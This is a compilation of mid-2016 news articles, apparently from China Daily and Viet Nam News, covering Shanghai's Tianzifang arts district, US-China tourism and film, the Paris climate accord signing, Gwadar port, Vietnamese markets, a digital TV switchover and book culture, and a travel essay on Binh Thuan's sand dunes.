In 1998, Zheng kicked off the project to turn the area into a hub for the cultural industry. He leased out the 10,000-square-meter space occupied by the idle factories on a 20-year contract and moved the street market indoors.

In 1999, Chen Yifei, a world-renowned Chinese painter, and several other artists set up studios in the old factories on Lane 210 along Taikang Road, creating a cluster of more than 200 culture and art venues. This was also the time when Huang Yongyu, another well-known painter, named the area "Tianzifang" as a tribute to an ancient Chinese painter of the same name.

One year later, the sub-district government leased the remaining spaces to a sole proprietor named Wu Meisheng. Galleries, cafes and boutiques have since opened like clockwork alongside old Shanghai homes, imbuing the area with a unique charm not seen before in the city.

In 2004, Tianzifang nearly became a victim of the city's relentless modernization. Calls were made for the place to be torn down to make way for high-rise shopping malls that were part of a real estate project by Taiwan's ASE Group.

Fortunately, thanks to the intervention of Zheng and a group of his supporters, Tianzifang emerged unscathed.
Romantic thriller bridges cultures, worlds and myths Updated: 2016-04-22 10:53 By Lia Zhu in San Francisco(China Daily USA)

A scene from the movie Pali Road, fi lmed entirely in Hawaii with an international cast, which is due for release in the US next week. Provided To China Daily

The independent film Pali Road, scheduled for theatrical release in the United States next week, aims at bridging Chinese and American cultures and shattering stereotypes with its multinational casting.

The film tells a story of the search for true love between two worlds. Young doctor Lily, played by Chinese actress Michelle Chen, awakes from a coma after a car crash to find she is married to a husband, Mitch, played by Fast Five actor Sung Kang, and has a child, neither of whom she can remember.

To make things worse, she is not with her true love, Neil, played by Twilight star Jackson Rathbone. Her search for the truth leads her to question everything around her, including herself and her very existence.

The romantic thriller is scheduled to screen on April 28 and April 29 in 20 major cities across the US.

"I wanted to make a film that could be appreciated, enjoyed by audiences all over the world," director Jonathan Lim told China Daily. "It's about the story and journey of the characters and finding something powerful that we can connect all audiences to emotionally to bridge that cultural gap. Everything - from story, cast and shooting location - was about bridging cultures."

One of the bridges was to incorporate the Hawaiian legend of the Naupaka Flower and the 2,600-year-old Chinese Legend of Qixi into the main character's journey.

Both stories are about star-crossed lovers who cannot be together and are torn apart by jealous goddesses and powers beyond their control.

"Although they originated from two very different cultures and countries, it was truly amazing how much these stories have in common," Lim said.

The film is the first Chinese-Hawaiian co-production and was shot entirely in Hawaii. The title refers to the actual Pali Highway on Oahu which folk tales say is haunted.

Lim, who grew up in the US and spent more than 10 years in China, said he was inspired by the challenge of making a co-production work.

"In China, many investors and studios do not believe Chinese co-productions work and they are now focusing on domestic films only," he said. "I think that is very sad and disappointing, as China has so much to share with the world and can play a much bigger role in the world market, but they have to be willing to think internationally and be creative about it."

A graduate of Beijing Film Academy and New York Film Academy, Lim wrote and directed the feature film Slam in 2009 and the TV drama series Sophia's Diary in 2010.

For Pali Road he cast a majority of Asian actors, which caused distributors to turn away because "it didn't work" for mainstream America, Lim said.

A lot of film-making nowadays comes down to names, equations and numbers rather than what would best suit the story, but it's important not to limit oneself by gate-keepers and let audiences decide for themselves, Lim said.

liazhu@chinadailyusa.com
Naive victims of US move against fake schools Updated: 2016-04-22 08:08 By Quan Xiaolian(China Daily)

MA XUEJING/CHINA DAILY

Twenty-one "brokers, recruiters and employers" in the United States that allegedly used illegal means to help more than 1,000 foreign youths get student visas (in some cases employment visas) were arrested in a sting operation by the US Department of Homeland Security earlier this month. The students, mainly from China and India, can now have their visas cancelled and be deported.

To sniff out the fraudulent agencies, US federal agents set up a fake university three years agothe "University of Northern New Jersey"which was not staffed with instructors or educators, had no curriculum, and held no actual classes or other academic activities.

Indeed, sting operations like this have helped solve some tricky cases, which normally involve corruption, sex trade, drug smuggling and gun regulations, even terrorism.

Over a year ago US law enforcement officers used a similar tactic to arrest a 20-year-old man after he purchased two guns and 600 rounds of ammunition in Ohio. His Twitter posts sympathizing with Islamic terrorists led to an undercover FBI operation, which eventually prevented an attempted attack on the US Capitol.

A sovereign state does have territorial jurisdiction over the affairs within its borders according to international law, which is why citizens are told to abide by local laws when traveling abroad.

Although legal and effective, the US' sting operation against fraudulent agencies is not without flaws, because many of the foreign students will suffer just because they didn't know much about the country or the scam.

The paradox is that a sting operation, which is conducted to lure criminals or potential criminals planning to commit a crime and arrest them, could also be applied to people who have no intention to break the law. If law enforcers out to frame "criminals" illegally exploit such people they could be guilty of intentional instigation.

According to the US Supreme Court, defendants who have no criminal intentions before being enticed to commit a crime are considered "unwary", meaning that the enforcement of law against them may be illegal. However, they stand little chance of defending themselves against the law enforcers' possible framing if their personal characters and criminal records show they are related to the alleged crimes.

Undercover agents in a sting operation, on the one hand, are under constant threat while conducting investigations, ranging from drug crime and sexual assault on women to illicit cabs. On the other hand, there could be a wave of public complaints, even lawsuits demanding huge compensations from the country, if they bugle their job. That explains why most countries act prudently in authorizing such operations to identify crimes and criminals.

The fraudulent agencies in the US should definitely be held accountable based on their violations of the US and Chinese law, because they have cheated a number of foreign students who dreamt of entering a real US university. But the students' illegal stay or overstay in the US might deal a heavy blow to China's international image as well as that of Chinese students overseas.

The author is an associate professor of law at Southwest University of Political Science and Law.
Elliott Ferguson , president and CEO of Destination DC, holds a model of a terracotta warrior in his office in Chinatown in Washington, DC. Destination DC is a private, non-profit corporation with a membership of 850 businesses and organizations that support the District of Columbia travel and tourism sector. DONG LESHUO / CHINA DAILY

Editor's note: This story is one in a series by China Daily USA that marks the 2016 US-China Tourism Year. President Xi Jinping and President Barack Obama declared the year-long program of activities during Xi's state visit to the US in September 2015.

With nearly a quarter of a million Chinese tourists visiting the US capital every year, a tourism group looks for ways to make them feel welcome.

For the past two years, China has been the top source of tourists to the US capital.

The Chinese market has been the largest inbound international market coming to Washington since 2013, said Elliott L. Ferguson, president and CEO of Destination DC, a private, non-profit corporation with a membership of 850 businesses and organizations that support the District of Columbias travel and tourism sector.

China has become Washingtons No 1 overseas market, growing 103 percent since 2010. About 221,000 people visited Washington from China in 2014, according to the Travel market insights and the national travel and tourism office. Visitation from China to the US is forecasted to increase 129 percent between 2014 and 2020  adding 2.83 million more visitors by 2020, according to the national travel and tourism office.

As the number of Chinese visitors grows, Ferguson would like to see the city cultivate, welcome and appreciate the Chinese culture.

For example, for breakfast, you should have certain things on the menu that are appealing to the Chinese visitors. And you should understand you should have certain opportunities for them to know youre welcoming them when they come to Washington, DC, Ferguson said.

Destination DC is putting together a program as it sees more Chinese coming into the city.

We want to make sure our members know what to expect from the Chinese visitors, and more importantly, what the Chinese visitors expect, Ferguson said.

Chinese want to feel there is a presence of their culture here, but they still want to experience American culture. The combination is important, Ferguson said.

As we look for opportunities for international growth, the relationship with China is critical. We are in China at least three times a year, sometimes more, cultivating relationships, Ferguson said.

The mayor and former mayors of Washington visit China at least once a year.

Washington Mayor Muriel Bowser visited China last November, a trip focused on tourism. The mayor met with some of the largest tourism organizations in China, including Ctrip, a provider of travel services.

There is an interest in learning from each other, Ferguson said.

Sometimes peoples perception is based on what they saw on TV. The opportunity to come here and the excitement that we hear from Chinese visitors is a positive thing for us. I think a lot of Americans, the Washingtonians, have a desire to visit China too for that reason, Ferguson said.

When you visited China 30 years ago, everybody talked about their experience with bicycles, Ferguson said. Now, everything is so cosmopolitan.

Not only that, when you think of China, most of the people think of Beijing, Shanghai, Hong Kong, maybe Xian for the terracotta warriors. But there are so many other cities, like Chengdu, the hometown of pandas, that the Americans are exploring; thats because of the exposure and cultural exchanges that we have between those cities, Ferguson said.

Ferguson has visited eight Chinese cities: Shanghai, Hong Kong, Beijing, Guangzhou, Jinan, Xian, Guilin and Qingdao.

The more we learn about each others culture, the more we can embrace each other. Its important that Chinese citizens have more access to Western culture, which helps to change the perception, Ferguson said.

He and his organization have been actively participating in the US-China Tourism Leadership Summit for more than five years.

The summit is an annual event that brings leaders of the Chinese and US tourism industries together for business sessions and networking opportunities. Summit locations alternate between China and the US each year.

Most of the partners that Destination DC works with in China are travel agencies.

We continue to build relationships with those travel agencies. We do training with them as well. Those relationships have been very good. The collaborations keep growing if the travel agencies see there is an opportunity for them, Ferguson said.

Tourism (domestic and international) created $725 million in tax revenue for DC in 2014. Without it, each DC household would have to contribute an additional $2,500 to maintain the citys tax revenue. Tourism is one of the largest economic engines for the district, supporting nearly 75,000 jobs in 2014, according to IHS Global.

From a larger lens, clearly the relationship between China and the US has been better than it has ever been. There has always been something we can work on. Thats where hospitality can fit in, Ferguson said.

When you look at what our governments are doing in terms of trade, its helpful to understand and build relationships that allow us to work together, and tourism clearly is a link to that. The experiences and history that people capture when they travel to different destinations change the way people perceive the destination, Ferguson said.

Travel is a portal to build stronger understanding and relationships between people, he said.
Expanded Pakistani port set to boost links to China Updated: 2016-04-22 07:32 By Cui Jia(China Daily)

The expanded and better-equipped port of Gwadar in Pakistan, which forms an important part of the China-Pakistan Economic Corridor, will be operating fully by the end of this year.

This assurance was given on Thursday by the head of the Chinese company that runs the strategic facility.

"The new port's cranes are almost ready and the water desalination plant is in place," said Zhang Baozhong, chairman of China Overseas Ports Holding Co, at a conference in Beijing to promote business opportunities at the port.

"We expect to see its traffic reach 1 million tons by the end of this year, and a significant increase in the following years." But Zhang said it will be some time before China can import natural resources from the Middle East through the port.

The company took over management of the deep-sea port from the Port of Singapore Authority in 2013 and the infrastructure there was very poor due to a lack of maintenance, Zhang said.

The takeover has been viewed as a move by China to seek an alternative to the Strait of Malacca, through which more than 80 percent of the country's imported oil passes.

The China-Pakistan Economic Corridor, integrated in President Xi Jinping's plan to build the Silk Road Economic Belt, will link Gwadar with Kashgar in the Xinjiang Uygur autonomous region.

Zhang's company also runs a free trade zone near the port, which will be upgraded gradually to allow ships with a capacity of 70,000 tons to dock. More than $1 billion worth of projects will be developed at the port by the end of next year.

"About 2,000 Chinese businesses - big and small - visited the free trade zone in 2015 to seek business opportunities," Zhang said. The zone will adopt the format used by Chinese economic zones.

cuijia@chinadaily.com.cn

Workers transport goods at Gwadar port in Pakistan. The port, a crucial part of the China-Pakistan Economic Corridor, will be fully operational by the end of the year.Huang Zongzhi / Xinhua

(China Daily 04/22/2016 page3)
Ban praises China on climate accord Updated: 2016-04-22 10:53 By Hezi Jiang At The United Nations And Zheng Jinran In Beijing(China Daily USA)

To celebrate Earth Day on Friday, a primary school in Chongqing holds a 'saving the earth' activity on Wednesday to help students raise awareness of environmental protection. Chen Shichuan / For China Daily

UN Secretary-General Ban Ki-moon met with President Xi Jinping's special envoy on Thursday on the eve of the Paris Agreement signing ceremony and acknowledged China's contribution to the climate breakthrough.

"China played such an important role in making it possible," said Ban. "China has been pushing for energy conservation and emission reduction and promoting South-South cooperation. The country shows its leadership in tackling climate change."

Xi's special envoy, Vice-Premier Zhang Gaoli, applauded the historical significance of the Paris Agreement and the effort of the United Nations and Secretary-General Ban.

High-level officials from nearly 160 countries - including US Secretary of State John Kerry - will sign the agreement at UN headquarters in New York on Friday, which is also International Mother Earth Day.

"We believe the signing ceremony will further bring the Paris deal into force," said Zhang. "And China will continue to participate actively in global collaboration to combat climate change and to keep promoting South-South cooperation."

Zhang said China, as the largest developing country, recognizes its responsibility, and the country will adhere to a path of innovative, coordinated, green, open and shared development.

China also will build more low-carbon cities, push for zero carbon projects and create a nationwide carbon market, Zhang said.

Ban said the UN wishes to increase cooperation with China and together implement the agreement.

"China will uphold the purposes and principles of the UN Charter and deepen China's relationship with the UN," Zhang said.

After the signing ceremony, China will begin the legal process to join the agreement and will ratify it as soon as possible, said Su Wei, director of the Department of Climate Change of the National Development and Reform Commission.

Countries that don't sign the agreement on Friday still will have a year to do so. Those that sign then must have the agreement ratified by their own legislative bodies.

At least 55 countries, representing at least 55 percent of global greenhouse gas emissions, must ratify the agreement before it can take effect. China and the United States account for 38 percent of the world's greenhouse gas emissions.

The agreement aims to hold the increase in the global average temperature to less than 2 degrees Celsius above pre-industrial levels and to work toward limiting the increase to 1.5 C.

International environmental groups are praising China for significantly increasing the chances that the agreement can take effect before the 2020 deadline.

"These signals significantly increase the chance that the agreement will enter into force this year," said Jake Schmidt, director of the International Program at the Natural Resources Defense Council, which is based in New York.

Eliza Northrop, a researcher at the World Resources Institute, also said the signing by China and the US will give a major boost to efforts to reach the threshold for entry into force.

"It is reasonable to think the entry into force would happen in 2017," she said. "But given the varying timelines for countries to complete their domestic approval processes, the timing of entry into force is uncertain."

Samantha Smith, leader of the World Wildlife Fund, said more efforts are urgently needed for the climate change meeting next month in Bonn, Germany, to pick up on issues where the Paris meeting left off.

Contact the writers at hezijiang@chinadailyusa.com and zhengjinran@chinadaily.com.cn.
China urges nations to start 2030 Agenda Updated: 2016-04-22 10:53 By Wang Linyan at the United Nations(China Daily USA)

Vice-Minister of Foreign Affairs and G20 Sherpa Li Baodong called on all parties to start implementing the 2030 Agenda for Sustainable Development comprehensively at a UN debate on Thursday.

As the largest developing country, China always put development at the top of its agenda, Li said in the United Nations General Assembly High-Level Thematic Debate on Achieving the Sustainable Development Goals, at the UN headquarters in New York.

In September, President Xi Jinping made commitments that China stands ready to work with other parties to contribute to the 2030 Agenda. China has launched its implementation process and included it in China's mid- to long-term national development program.

As president of the G20 this year, China is actively pushing the group to contribute to international development cooperation and the implementation of the 2030 agenda, Li said.

"The concept of development runs through the whole design of agenda and outcomes for the Hangzhou Summit, thus serving as an overarching theme in the preparatory work," he said.

The summit, to be held in September in Hangzhou, capital city of East China's Zhejiang province, will be marked with two "firsts", according to Li.

"It is the first time that the G20 will formulate an action plan on the implementation of the 2030 Agenda for Sustainable Development. Upon China's initiative, the G20 is examining ways to support industrialization in Africa and LDCs (Least Developed Countries)," Li explained.

"Meanwhile, under China's leadership, the G20 issued its first Presidency Statement on Climate Change, committing to signing the Paris Agreement on April 22 or thereafter, and bringing the agreement into force as soon as possible."

Li said that China hopes to make joint efforts with other countries to implement the 2030 Agenda and progress toward common prosperity and development by hosting the summit.

Li also held dialogues on preparations for the G20 Hangzhou Summit with Group 77 and other stakeholders from Tuesday to Thursday.

He said that China was committed to working with other parties to promote development by encouraging innovation, improving governance, promoting trade and investment, and supporting inclusion and interconnectedness, which will benefit developing countries and their peoples at large.

The summit is themed on "building an innovative, invigorated, interconnected and inclusive world economy".

Lenni Montiel, assistant secretary-general for economic development in the Department of Economic and Social Affairs of the United Nations and UN G20 Sherpa, said the theme and the agenda have been "very well endorsed" by all G20 members.

"This Chinese presidency has been praised by everybody in the G20 for the big amount of work in terms of preparation for each meeting," Montiel told China Daily.

"It's been impressive the way in which the Chinese presidency has prepared for each single agenda to put on the table.

"They have created a very strong line of work on green economy, green financing. This is new," Montiel said. "They have made an incredible effort to the debate, three very important issues: digital economy, the fourth industrial revolution and innovation."

Montiel added that having development as a universal concept shows that the G20 is not focusing on short-term priorities anymore and is driving the attention of everybody on long-term issues.

As it holds the presidency, China has invited the largest number of developing countries to G20 activities this year, said Wang Xiaolong, sous sherpa and special envoy on the G20 affairs of the Ministry of Foreign Affairs.

We have invited Egypt, Senegal, Chad, Kazakhstan and the Laos as guest countries, and Thailand, the chair of the Group of 77, to participate in the G20 Development Working Group, said Wang.

wanglinyan@chinadailyusa.com
Duncan Clark (left), author of Alibaba: The House That Jack Ma Built, talked about his book at the Asia Society in New York on Wednesday, with Bobby Ghosh (center), managing editor of the online journal Quartz, and Orville Schell, the Arthur Ross Director of the Asia Society's Center on US-China Relations, on hand for the discussion. niu Yue / For China Daily

Trajectory of one of the world's most successful entrepreneurs traced from humble origins to mega-stardom

Alibaba: The House That Jack Ma Built (HarperCollins 2016), a book about Jack Ma and the Alibaba Group business empire he built, went on sale on Tuesday.

Author Duncan Clark, who has known Jack Ma for nearly two decades, shared his personal insights and experiences with Ma and other key figures who have contributed to the success of Alibaba at the Asia Society in New York on Wednesday.

Bobby Ghosh, managing editor of the online journal Quartz, and Orville Schell, the Arthur Ross Director of the Asia Society's Center on US-China Relations, were on hand for the discussion.

An international businessman, Clark has been based in Beijing since 1994, when he founded investment advisory firm BDA China.

In his book, Clark explores the foundations Alibaba was built on, with the rise of the private sector and proliferation of the Internet across China. He also explores the more personal story of Ma's childhood and how he overcame great obstacles to become one of the world's most successful entrepreneurs.

In just a decade and half, Jack Ma, a man who started out as an English teacher, has founded and built Alibaba into one of the world's largest companies, an e-commerce empire that literally hundreds of millions of Chinese consumers depend on.

Alibaba's $25 billion IPO on the New York Stock Exchange in September 2014 was the largest in history. In 2015, Alibaba's total value of goods transacted on the Nov 11 Singles' Day shopping festival reached $14.32 billion, a new record.

Today Alibaba plays an important role in China's economy as it shifts from a manufacturing-based model to a consumer-based economy and Ma has become an icon for China's booming private sector and the gatekeeper to hundreds of millions of moneyed middle class consumers.

Clark first met Ma in 1999 in the small apartment where Alibaba was founded. With access to a wealth of material, including exclusive interviews, Clark draws on his own experience as an early advisor to Alibaba.

Clark said there are a lot of interesting things to discover about China through the prism of Alibaba.

"There's the story of the Internet, but also the story of entrepreneurship in China, particularly the rise of the south of China  what I think of as the entrepreneurial side of China," he said, referring to East China's Zhejiang province, where Alibaba is headquartered.

Ma calls himself 100 percent made in China, since he didn't come to school in the US like many other Chinese international businessmen. Ma started his business in China and Clark thinks his "humble origins" have contributed to his success.

"In a way, Jack Ma wasn't a product of China but a blend of East and West," Clark said.

"He was not part of the system, he didn't even go to the top university. Jack was almost a left-behind man in China, yet he has the connection with the West," he said.

In the book, Clark recounts a little-known story of Ma's early friendship with an Australian pen-pal named David Morley and his father Ken, who helped Ma practice his English, sponsored him to travel to Australia at age 19 and even bought his first apartment for his marriage.

"It all goes back to the connection with the West," Clark said. "He is a joint venture of the East and West."

Clark examines Alibaba's relationship with the government and the powerful motivation it has brought to Chinese society.

"To create the capacity for his ambition to be realized, Ma has to basically push into the territory of the state," Clark said.

"For example, in finance, the Alipay asset (a major payment platform operated by Alibaba) that he has, it's much more than a PayPal but really a window for Chinese into a new world of customer service that they've never experienced in the banks, which have the attitude Ai cun, bu cun' (You save, you don't save, whatever) in Chinese," Clark said.

"Since banks don't care about their customers, that's the opportunity for people like Jack," he added.

"It's an offered service and gives trust and gives choice, that's what Alibaba is about, and what its website delivered. So that's helping the government to some extent as China moves away from the Made in China' model of the past, with the associate pollution, excess inventory and trade disputes, to a consumer China," he said.

"He is an incredible representative of a part of China, which he represents so well," said Orville Schell. "He is very dynamic, globalized, speaks foreign languages, comfortable in his own skin."
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HA NOI  Vietnamese shares rebounded from recent losing streaks on both local markets yesterday as rising oil prices lifted energy stocks.

The benchmark VN Index on the HCM Stock Exchange rose 1.4 per cent to close at 575.73 points, ending a two-day decline of more than 2 per cent.

The HNX Index on the Ha Noi Stock Exchange bounced back 0.4 per cent from a three-day slide of 1.1 per cent to finish at 79.69 points.

The energy industry continued its upward trend as oil prices had the third gaining session after US production declined to its lowest point since October 2014 and the Organisation of Petroleum Exporting Countries (OPEC) said it could hold new talks in May on an output freeze.

US crude West Texas Intermediate (WTI) inched up 0.1 per cent to trade at US$44.22 a barrel and London-traded Brent crude rose slightly to trade at $45.82 a barrel.

US crude has advanced 11 per cent in the last three sessions after OPECs talk in Doha broke down on Sunday, while Brent crude has increased by 6.8 per cent.

Among energy stocks, PetroVietnam Gas Corp (GAS) and PetroVietnam Drilling and Well Service Corp (PVD) surged 6.2 per cent and 5.7 per cent, respectively.

PetroVietnam Mud Drilling Corp (PVC) and PetroVietnam Technical Service Corp (PVS) jumped 4.5 per cent and 4.4 per cent, respectively.

The property sector also made good gains after official data from the Viet Nam Real Estate Association (VNREA) showed that this sector has made significant improvements during the first quarter, Bao Viet Securities Corp (BVSC) wrote in its daily report.

The property market has seen a stable and firm recovery in the first quarter, BVSC said. The markets growth in the first quarter is 3.4 per cent  the strongest growth since 2012  while real-estate stockpiles by March 20 fell 6.4 per cent from the previous month to a value of VN44.85 trillion.

Among property developers, Vingroup JSC (VIC), Sai Gon Thuong Tin Real Estate JSC (SCR), An Duong Thao ien JSC (HAR) and Hoang Quan Consulting-Trading-Service Real Estate Corp (HQC) advanced between 1.8 per cent and 2.2 per cent.

Other companies with positive quarterly performance also helped boost the markets.

HCM City Securities Corp (HCM) gained 2 per cent after it reported a net profit of VN64.7 billion ($2.87 million), an increase of 40 per cent from last years figure.

Phu Nhuan Jewelry JSC (PNJ) increased by 1.9 per cent after the jewelry trader reported a net profit of VN120 billion in the first quarter of 2016, a growth of 9.2 per cent from 2015s first quarter.

Both local markets exchanged nearly 149 million shares worth nearly VN2.2 trillion, a decrease of nearly 19 per cent from Wednesday.  VNS
HA NOI Viet Nam News - Bangladesh and Viet Nam are seeking to develop improved financial products and logistic services to facilitate trade to reach a value of US$1 billion this year, a conference heard yesterday.

Hoang Quang Phong, deputy chairman of the Viet Nam Chamber of Commerce and Industry (VCCI), said at the conference jointly held with Bangladesh International Chamber of Commerce (ICC) that international payments and logistics services played critical roles in global economic integration to reduce the risk of international commerce.

Of these, the use of a letter of credit (LC) was the most prominent and widely applied for various sectors in global trade, Phong said.

Developing trade finance products and logistics services was of pressing importance now since bilateral trade between Viet Nam and the South Asian country saw a drop last year.

Ambassador of Bangladesh to Viet Nam, Mohammad Shahab Ullah, said at the conference that the two-way trade drop was from $758 million in 2014 to $600 million last year. There was large untapped potential, still, he was quoted as saying by a news story on VCCIs website.

He said he expected more Vietnamese firms to enter Bangladesh to seek business opportunities and the two countries would join hands to simplify banking procedures for trade facilitation.

At the conference, Vu Quang Minh, director of the Ministry of Foreign Affairs Economic Department, said that the trade framework must be improved to meet the co-operation demand between the two countries.

Minh said that with an advantageous sea line for logistics services, two-way trade was expected to reach $1 billion this year.

ICCs chairman Mahbuhur Rahman said differences in banking, import and export procedures remain between the two countries. He said that the joint force between the two countries would tackle those problems to promote trade.

The two-day conference would also discuss international standard banking practice (ISBP), global trade finance, and American depositary receipts, in addition to dispute resolution alternatives.

At yesterday conference, Bangladesh and the Viet Nam International Arbitration Centre signed a co-operation agreement.  VNS
A NANG  Viet Nam is targeting moving to digital terrestrial television broadcasting from analog by 2020 in the entire country as per the roadmap on development of digitalisation of television.

Deputy General Director of Authority of Radio Frequency management of Viet Nam, Le Van Tuan said at the opening ceremony of a workshop on issues related to digital TV broadcasting in a Nang city on Thursday.

He said the transition from analog to digital terrestrial television broadcasting was being seen as a necessary trend in the world and the region. ASEAN member states had also defined a roadmap for TV digitalisation between 2015 and 2020.

The switchover from Analog to digital TV is somehow a complicated process with differences from country to country in the region, with reference to policies, regulations and technology, Tuan said.

The workshop today is a forum for spectrum managers, TV broadcasters, agencies in ASEAN sharing experience and samples of expertise in transition to digital TV, he said.

He said there were many challenges on how to manage quality of set-to-box and receivers, spectrum requirement that ASEAN countries had concerned.

Nguyen Hong Tuan, from Authority of Radio Frequency of Viet Nam, said Viet Nam had planned a fund of VN1.7 trillion to (US$76 million) for national analog-to-digital migration plan.

He said the country had 21.3 million households with colour TVs, and 6.7 million families using pay TV and 33 cable TV service providers along with three satellite digital TV and five digital terrestrial TV providers.

Nguyen Viet Hung, a service provider of digital terrestrial TV, said locals must pay only VN700,000 for installation of a receiver with free subscription with old style TV sets, while new users must only pay VN100,000 for antenna installation.

More people could enjoy better quality TV programmes with 40 channels. Viet Nam has built television stations in nearly 63 provinces and cities, and available infrastructure could help transit from analog to digital TV soon, he said.

Deputies from ASEAN countries and experts from Japan, Australia shared experience and information at a workshop on matters related to digital TV broadcastings in the central city.

The central city is the first city in Viet Nam and ASEAN to fully switch to digitalisation of television programmes.

Two years ago, a Nang Radio and Television station became the first station outside a large metropolitan area to use satellite services for live broadcasts.

Only four Vietnamese channels have been allocated space on the satellite, Audio Vision Global, Viet Nam Multi-media Corporation, HCM Television and K-Plus.

The workshop closes today with field tours in a Nang and Hoi An cities.  VNS
HA NOI  The Ministry of Agriculture and Rural Development yesterday sent an urgent note to the peoples committees of the coastal provinces warning residents not to eat the fish that died last week.

Provinces from Ha Tinh to Thua Thien-Hue were warned about the mass fish deaths. The Ha Tinh, Quang Binh and Quang Tri provinces saw the most deaths along their beaches in the past week.

While an inspection was conducted to determine the cause of the deaths, the agriculture ministry has strictly banned using the dead fish to process food in any form and asked relevant agencies to collect the dead fish and destroy them according to the law.

The local bodies in these provinces have also been asked to inform residents about the ban and instruct them not to sell the dead fish in the market. Fish breeders were to be told to stop taking water from the sea to their coastal breeding ponds, until the reason for the fish deaths had been identified.--VNS
HA NOI  Two stage works by artists from the Viet Nam Drama Theatre will debut in Chinese cities on April 21-27.

The works are Lau ai Cat (Sandy Cattle) and am Cuoi Con Gai Chuot (The Mouse Daughters Marriage).

Four shows will be performed by 14 artists in the Vietnamese language with Chinese subtitles.

Lau ai Cat is the story of a family in modern times, which is respected for its high social standing and exemplary standard of living. But, the reality is different -- all the members wear masks to hide their bad habits and depravity caused by social evils.

The work was directed by Peoples Artist Anh Tu.

am Cuoi Con Gai Chuot was staged by Singaporean artist Chua Soo Pong, who arrived in Viet Nam last year to work with the local artists.

The play, which debuted in Ha Noi, was highly acclaimed by the audience.

am Cuoi Con Gai Chuot is the light-hearted story of a mouses daughter who must choose among four suitors -- the sun, the wind, a wall and a white mouse -- all of whom wish to marry her.

Acting on her mothers advice, the daughter rejects all four contenders as they are not rich, powerful or famous enough. Instead, she chooses to marry a cat, believing it is a more superior species, but must face some unexpected consequences.

The actors skilful and precise movements capture the audience attention as the play, which is both funny and allegorical, raises the question -- is the grass really greener on the other side?

am Cuoi Con Gai Chuot was written and created as a childrens drama in 2003 by director Pong.

The play has been performed in several countries, such as Germany, Indonesia, Malaysia and China, as well as Bangladesh, Turkey and the United States.

The play by Viet Nam Drama Theatre was also staged at Malaysias George Town Festival last August.

The 14 artists are being led by theatre director Nguyen The Vinh.

The shows will be held in Chinas Zheng Zhou and Le Yang cities, at the invitation of the He Nan Culture Association, to promote friendship and culture co-operation between Viet Nam and China. -- VNS
By Le Huong

HA NOI  Thousands of people of all ages have attended various activities at the Third Book Day held in downtown Ha Noi starting on Wednesday.

Those who think that reading culture in Viet Nam is diminishing should visit this event, said retiree Le Thanh Tai. I love books and feel happy to see so many young people flocking here.

The event has attracted more than 80 publishing and distributing firms throughout the country. It runs until Sunday.

In 2014, the Prime Minister signed a decision to make April 21 Viet Nams Book Day. The significance of the month is tied to April 1927, when Ho Chi Minhs lectures on fighting against colonialism to revolutionary soldiers in Guangzhou, China, was published in a book titled uong Kach Menh (Revolutionary Road). April 23 was also chosen as the World Book and Copyright Day.

I think the day is a good way to promote reading culture, said writer Le Hoai Nam from Ha Noi. But the trouble is that we should find the most effective way of organising it.

I think recent book fairs are basically well-organised, but there are not many good books available there, he said.

Poet Mai Van Phan from the northern city of Hai Phong said organisers should promote the day well before it happens.

They should enhance peoples awareness of the value of books, especially people in remote rural areas, where people hardly see a book all year-round, he said.

Addressing the opening ceremony on Wednesday, Deputy Minister of Information and Communications Nguyen Thanh Hung said the ministry has assigned its units to organise various activities to celebrate Viet Nams Book Day on April 21, including book sale promotions for readers across the country.

Hung said localities throughout the country have hosted events along with Book Day activities like Poetry Festival in the northern province of Quang Ninh, a book introduction event in the southern province of ong Thap and a book exhibition in the northern province of Nam inh.

Book Day has been supported by many agencies like the Ministry of Education and Training, the Ministry of National Defense and the Ministry of Public Security.

Several different Book Day themes have been organised at schools, where parents are encouraged to set up book shelves in their childrens classrooms. Various storytelling, eloquence and role play contests have been held.

Though I have little time to read, I prefer reading to watching TV as I am free to imagine more while reading, said Luu Huong Ly, a high school student.

Nguyen Khanh Toan, a first year student, had a different opinion.

I prefer watching TV. But I still read 2-3 books a year. The books contain philosophy on life, love and relations in society, he added.

According to a recent survey by the Ministry of Education and Training, a Vietnamese person on average reads four books a year, 2.8 of which are textbooks.

I think its not important how much you read, its more important what you read, how you read and why you read, said Tai.

Books always have a role for every time period. We should not come to the conclusion that reading culture is diminishing, he said. We should just encourage people, especially young people, to read more and think more. -- VNS
By Gia Loc

My native place has never lacked sunshine.

You could even say that it has had more of it than needed.

So it happens that Binh Thuan Provinces Tuy Phong District has extended dry periods and the highest speed of desertification.

While this can sound a bit sad, these weather conditions also set the stage for having a lot of fun when we were children, because they created big sand dunes. Imagine having your own Sahara desert in your backyard, which is what we called the dunes. As children we never saw the dunes as anything less than wonderful. And on the fringes of the dunes, poplar groves planted to stem the desertification onslaught made for great picnic sites.

For a long time, these dunes were one of the nations hidden charms, known only to locals.

Early in the morning, we got on our bicycles and took food and drinks to the dunes. Around noon, we ate the food and sang songs in the poplar groves, enjoying the cool breeze. All the stress of school and studies melted away here. When the sun stopped blazing, we ran to the highest sand dunes and held sliding races.

Cash cow

Now, the sand dunes have come into the public eye in a big way. As the sun and wind sculpt the dunes into different shapes and sizes, visitors and photographers capture the magic, which is further heightened by the 18 colours of the sand, now raw material for works of art.

Around 89,995 hectares in Binh Thuan, or 11.3 per cent of the south-central provinces total land area, has experienced desertification, mostly in the northeastern districts of Tuy Phong and Bac Binh.

Frequent sand-storms blowing inland from the coast care creating more and more new sand dunes that can cover thousands of hectares and reach heights of forty to fifty metres.

The provincial authorities are trying to turn the disadvantage of desertification into a tourism advantage. Already, the sand dunes at Mui Ne, Fairy Stream and Bau Trang have become known tourism sites.

At the Mui Ne Flying Sand Dune, 22 kilometres north east of Phan Thiet City, sand-boarding, where visitors slide down on a thin sheet of plastic from the top of the dunes, has become a popular sport. The US WondersList ranks Mui Ne second among the top 11 sand boarding sites in the world.

A recent convert to the sport is my daughter, who has overcome initial fears and developed a passion for it. The Mui Ne Flying San Dune has become a must-go attraction whenever my family visits home on a holiday. Access to this site has become much easier now after the authorities asphalted a 26km long, 45-50m wide street along the dunes and the nearby beaches.

It makes me happy that my native place now boasts a picturesque landscape on either side of the street, with beaches, resorts and sand dunes.

Have some dong

I cannot describe my native place without mentioning its culinary specialties, the most special of which could be the dong, a kind of lizard that lives in holes dug into the sand dunes. Early in the morning, they come out for the dew and food, and in turn, take their place on the food chain. The dongs meat is sweet and firm. Several dishes are made with it.

For starters, it is minced, seasoned with onion salt, pepper and chili, and mixed with vegetables to make a salad. It is also cooked with a type of melon, Dua Hong, to make a soup. Grilled dong is special treat.

